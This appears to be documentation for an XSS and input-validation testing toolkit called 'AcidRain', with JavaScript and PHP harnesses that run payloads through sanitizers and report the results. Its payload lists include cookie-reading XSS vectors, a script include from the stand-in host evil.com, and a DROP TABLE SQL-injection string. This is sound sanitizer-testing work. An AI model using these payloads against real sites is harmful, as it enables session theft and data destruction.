Key Components

JavaScript Utilities

Client-side scripts for browser-based security testing. Place scripts in test environments or controlled pages:

// Example: Basic XSS payload tester
function testXSSPayload(input, targetElement) {
  try {
    const sanitized = DOMPurify.sanitize(input);
    document.querySelector(targetElement).innerHTML = sanitized;
    console.log('Payload rendered:', input);
    console.log('Sanitized output:', sanitized);
  } catch (error) {
    console.error('XSS test error:', error);
  }
}

// Test reflection in a controlled environment
const testPayloads = [
  '<script>alert("XSS")</script>',
  '<img src=x onerror="alert(1)">',
  '"><svg/onload=alert(1)>',
  'javascript:alert(document.cookie)'
];

testPayloads.forEach(payload => {
  console.log('Testing:', payload);
  testXSSPayload(payload, '#test-target');
});

PHP Security Research Scripts

Server-side examples for testing input validation and output encoding:

<?php
// Example: Input sanitization tester
function testInputSanitization($input, $method = 'htmlspecialchars') {
    echo "Original input: " . $input . "\n";
    
    switch ($method) {
        case 'htmlspecialchars':
            $output = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
            break;
        case 'strip_tags':
            $output = strip_tags($input);
            break;
        case 'filter_var':
            $output = filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
            break;
        default:
            $output = $input;
    }
    
    echo "Sanitized output ($method): " . $output . "\n";
    echo "Encoding applied: " . ($output !== $input ? 'Yes' : 'No') . "\n\n";
    
    return $output;
}

// Test various XSS payloads
$testPayloads = [
    '<script>alert("XSS")</script>',
    '"><img src=x onerror=alert(1)>',
    "'; DROP TABLE users;--",
    '<svg/onload=alert(document.domain)>'
];

foreach ($testPayloads as $payload) {
    testInputSanitization($payload, 'htmlspecialchars');
}
?>

XSS Injection Testing Samples

Common XSS patterns for controlled testing:

// Example: XSS vector library for authorized testing
const XSSVectors = {
  // Basic script injection
  basic: [
    '<script>alert(1)</script>',
    '<script>console.log(document.cookie)</script>',
    '<script src="http://evil.com/xss.js"></script>'
  ],
  
  // Event handler injection
  eventHandlers: [
    '<img src=x onerror=alert(1)>',
    '<body onload=alert(1)>',
    '<svg/onload=alert(1)>',
    '<input onfocus=alert(1) autofocus>'
  ],
  
  // Protocol-based
  protocol: [
    '<a href="javascript:alert(1)">Click</a>',
    '<iframe src="javascript:alert(1)"></iframe>',
    '<object data="javascript:alert(1)">'
  ],
  
  // Context-breaking
  contextBreak: [
    '"><script>alert(1)</script>',
    '\'-alert(1)-\'',
    '</script><script>alert(1)</script>',
    '`;alert(1);//'
  ]
};

// Test function for authorized environments
function runAuthorizedXSSTest(vectors, targetURL) {
  if (!confirm('Run tests on ' + targetURL + '? Ensure authorization.')) {
    return;
  }
  
  vectors.forEach((vector, index) => {
    console.log(`Test ${index + 1}:`, vector);
    // Implement actual testing logic for authorized target
    // Store results for analysis
  });
}

Configuration

Environment Setup

Create a configuration file for test environments:

// config/test-environment.js
const TestConfig = {
  // Target configuration
  targetURL: process.env.TEST_TARGET_URL || 'http://localhost:8080',
  
  // Authentication (if required)
  authToken: process.env.AUTH_TOKEN,
  
  // Test parameters
  maxPayloadLength: 1000,
  timeoutMs: 5000,
  
  // Logging
  verboseOutput: process.env.VERBOSE === 'true',
  logFile: process.env.LOG_FILE || './logs/xss-tests.log',
  
  // Safety checks
  requireAuthorization: true,
  allowedDomains: [
    'localhost',
    '127.0.0.1',
    'test.local'
  ]
};

module.exports = TestConfig;

PHP Configuration

<?php
// config/security-test-config.php
return [
    'test_mode' => getenv('TEST_MODE') === 'true',
    'target_url' => getenv('TEST_TARGET_URL') ?: 'http://localhost',
    'auth_token' => getenv('AUTH_TOKEN'),
    
    // Test settings
    'max_payloads' => 100,
    'timeout' => 30,
    
    // Output settings
    'log_file' => getenv('LOG_FILE') ?: './logs/php-security-tests.log',
    'verbose' => getenv('VERBOSE') === 'true',
    
    // Safety
    'require_authorization' => true,
    'allowed_ips' => ['127.0.0.1', '::1']
];
?>

Common Patterns

Pattern 1: Automated Payload Testing

// scripts/javascript/automated-xss-tester.js
class XSSTester {
  constructor(config) {
    this.config = config;
    this.results = [];
  }
  
  async testPayload(payload, context) {
    const testCase = {
      payload,
      context,
      timestamp: new Date().toISOString(),
      blocked: false,
      sanitized: false
    };
    
    try {
      // Create isolated test frame
      const iframe = document.createElement('iframe');
      iframe.style.display = 'none';
      document.body.appendChild(iframe);
      
      const iframeDoc = iframe.contentDocument;
      const testDiv = iframeDoc.createElement('div');
      testDiv.innerHTML = payload;
      iframeDoc.body.appendChild(testDiv);
      
      // Check if scripts executed
      testCase.blocked = !iframeDoc.querySelector('script');
      testCase.sanitized = testDiv.innerHTML !== payload;
      
      // Clean up
      document.body.removeChild(iframe);
      
    } catch (error) {
      testCase.error = error.message;
      testCase.blocked = true;
    }
    
    this.results.push(testCase);
    return testCase;
  }
  
  async runTestSuite(payloads) {
    console.log(`Running ${payloads.length} tests...`);
    
    for (const payload of payloads) {
      const result = await this.testPayload(payload, 'innerHTML');
      
      if (this.config.verboseOutput) {
        console.log('Result:', result);
      }
    }
    
    return this.generateReport();
  }
  
  generateReport() {
    const summary = {
      total: this.results.length,
      blocked: this.results.filter(r => r.blocked).length,
      sanitized: this.results.filter(r => r.sanitized).length,
      successful: this.results.filter(r => !r.blocked && !r.sanitized).length
    };
    
    return {
      summary,
      details: this.results
    };
  }
}

// Usage
const tester = new XSSTester({
  verboseOutput: true
});

const payloads = [
  '<script>alert(1)</script>',
  '<img src=x onerror=alert(1)>',
  '<svg/onload=alert(1)>'
];

tester.runTestSuite(payloads).then(report => {
  console.log('Test Report:', report);
});

Pattern 2: PHP Input Validation Testing

<?php
// scripts/php/input-validation-tester.php

class InputValidationTester {
    private $results = [];
    
    public function testValidation($input, $validators) {
        $testResult = [
            'input' => $input,
            'timestamp' => date('Y-m-d H:i:s'),
            'validators' => []
        ];
        
        foreach ($validators as $name => $validator) {
            $output = $validator($input);
            $testResult['validators'][$name] = [
                'output' => $output,
                'modified' => $output !== $input,
                'length_change' => strlen($output) - strlen($input)
            ];
        }
        
        $this->results[] = $testResult;
        return $testResult;
    }
    
    public function generateReport() {
        return [
            'total_tests' => count($this->results),
            'results' => $this->results
        ];
    }
}

// Define validators
$validators = [
    'htmlspecialchars' => function($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    },
    'strip_tags' => function($input) {
        return strip_tags($input);
    },
    'filter_sanitize' => function($input) {
        return filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
    },
    'preg_replace_script' => function($input) {
        return preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $input);
    }
];

// Run tests
$tester = new InputValidationTester();

$testPayloads = [
    '<script>alert("XSS")</script>',
    '"><img src=x onerror=alert(1)>',
    '<svg/onload=alert(1)>',
    "'; DROP TABLE users;--"
];

foreach ($testPayloads as $payload) {
    $result = $tester->testValidation($payload, $validators);
    echo "Testing: " . $payload . "\n";
    print_r($result);
    echo "\n";
}

$report = $tester->generateReport();
echo json_encode($report, JSON_PRETTY_PRINT);
?>

Pattern 3: Context-Aware XSS Testing

// scripts/javascript/context-aware-tester.js
const ContextAwareXSS = {
  contexts: {
    html: {
      name: 'HTML Context',
      payloads: [
        '<script>alert(1)</script>',
        '<img src=x onerror=alert(1)>'
      ],
      testMethod: (payload) => {
        const div = document.createElement('div');
        div.innerHTML = payload;
        return div.querySelector('script') !== null;
      }
    },
    
    attribute: {
      name: 'Attribute Context',
      payloads: [
        '" onload="alert(1)',
        '\' onerror=\'alert(1)',
        '"><script>alert(1)</script><"'
      ],
      testMethod: (payload) => {
        const img = document.createElement('img');
        img.setAttribute('src', payload);
        return img.getAttribute('src').includes('alert');
      }
    },
    
    javascript: {
      name: 'JavaScript Context',
      payloads: [
        '\';alert(1);//',
        '";alert(1);//',
        '`);alert(1);//'
      ],
      testMethod: (payload) => {
        try {
          new Function(payload);
          return true;
        } catch {
          return false;
        }
      }
    },
    
    url: {
      name: 'URL Context',
      payloads: [
        'javascript:alert(1)',
        'data:text/html,<script>alert(1)</script>',
        'vbscript:msgbox(1)'
      ],
      testMethod: (payload) => {
        return /^(javascript|data|vbscript):/.test(payload);
      }
    }
  },
  
  testContext(contextName) {
    const context = this.contexts[contextName];
    if (!context) {
      console.error('Unknown context:', contextName);
      return null;
    }
    
    console.log(`Testing ${context.name}...`);
    const results = context.payloads.map(payload => ({
      payload,
      detected: context.testMethod(payload)
    }));
    
    return {
      context: contextName,
      results,
      summary: {
        total: results.length,
        detected: results.filter(r => r.detected).length
      }
    };
  },
  
  testAllContexts() {
    return Object.keys(this.contexts).map(ctx => 
      this.testContext(ctx)
    );
  }
};

// Usage
const results = ContextAwareXSS.testAllContexts();
console.log('Context Test Results:', results);

Troubleshooting

Script Execution Blocked

Problem: JavaScript payloads are not executing in test environment.

Solution: Check Content Security Policy (CSP) headers:

// Check CSP
const csp = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
if (csp) {
  console.log('CSP detected:', csp.content);
  console.log('This may block XSS payloads - expected in production');
}

// For testing, ensure test environment has relaxed CSP
// Do NOT disable CSP in production environments

PHP Script Not Executing

Problem: PHP scripts return source code instead of executing.

Solution: Ensure PHP is installed and web server is configured:

# Check PHP installation
php -v

# Start PHP development server for testing
php -S localhost:8000 -t ./scripts/php

# Test script execution
curl http://localhost:8000/input-validation-tester.php

Authorization Checks Failing

Problem: Tests fail due to authorization requirements.

Solution: Set up proper test environment variables:

# Set test environment
export TEST_MODE=true
export TEST_TARGET_URL=http://localhost:8080
export AUTH_TOKEN=your_test_token_here

# Verify allowed domains in configuration
# Ensure target is in allowedDomains list

Results Not Logging

Problem: Test results are not being saved to log files.

Solution: Check log directory permissions and configuration:

# Create logs directory
mkdir -p logs

# Set permissions
chmod 755 logs

# Verify log file path in config
export LOG_FILE=./logs/xss-tests.log

# Check if logs are being written
tail -f ./logs/xss-tests.log

Payload Encoding Issues

Problem: Payloads are automatically encoded or modified before testing.

Solution: Use raw payload handling:

// Disable automatic encoding
function injectRawPayload(payload, element) {
  // Use textContent for comparison
  const original = element.textContent;
  
  // Direct DOM manipulation
  element.innerHTML = payload;
  
  const modified = element.textContent;
  
  console.log('Original:', original);
  console.log('Payload:', payload);
  console.log('Result:', modified);
  console.log('Modified:', original !== modified);
}

Best Practices

  1. Always obtain authorization before testing any system
  2. Use isolated environments for all security testing
  3. Document test results with timestamps and configurations
  4. Never test production systems without explicit permission
  5. Store credentials securely using environment variables
  6. Review code before execution to understand behavior
  7. Maintain test/production separation in configurations
  8. Follow responsible disclosure if vulnerabilities are found

Safety Considerations

AcidRain is designed for authorized security testing only. Users must:

  • Have explicit written permission to test target systems
  • Use only in controlled lab environments or owned applications
  • Comply with all applicable laws and regulations
  • Follow ethical security research practices
  • Report findings responsibly to system owners
  • Never use tools for malicious purposes

Unauthorized testing may be illegal and unethical. Always operate within defined scope and authorization.
